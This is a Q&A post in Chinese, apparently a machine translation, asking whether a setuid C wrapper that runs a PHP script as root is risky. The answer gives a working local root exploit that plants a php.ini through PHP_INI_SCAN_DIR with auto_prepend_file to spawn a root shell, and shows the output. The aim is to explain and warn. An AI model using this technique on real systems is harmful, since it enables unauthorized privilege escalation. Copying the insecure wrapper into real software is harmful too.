下面的setuid程序是否存在安全风险?

我有以下程序在.c设置为setuid chmod只有读取/执行所有者并将其设置为不可变的,因为我将它的PHP脚本调用。

#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> int main(int argc, char *argv[] ) { setuid( 0 ); execv( "/var/tools/control.php", argv ); return 0; } 

这本身就是一个安全风险吗? 是否有可能通过argv或其他我不曾想到的东西来推送其他命令? 林没有问只是这个代理程序的PHP脚本。

是的,这是一个安全风险。

 $ cat <<EOF >/tmp/php.ini auto_prepend_file=/tmp/owned.php EOF $ cat <<EOF >/tmp/owned.php <?php echo "Owned\n"; pcntl_exec("/usr/bin/sudo", array("sudo", "-i")); ?> EOF $ export PHP_INI_SCAN_DIR="/tmp" $ /path/to/the/setuid/wrapper Owned # id uid=0(root) gid=0(root) groups=0(root) context=staff_u:sysadm_r:sysadm_t:s0-s0:c0.c1023 

这就是为什么你应该避免使用setuid二进制文件。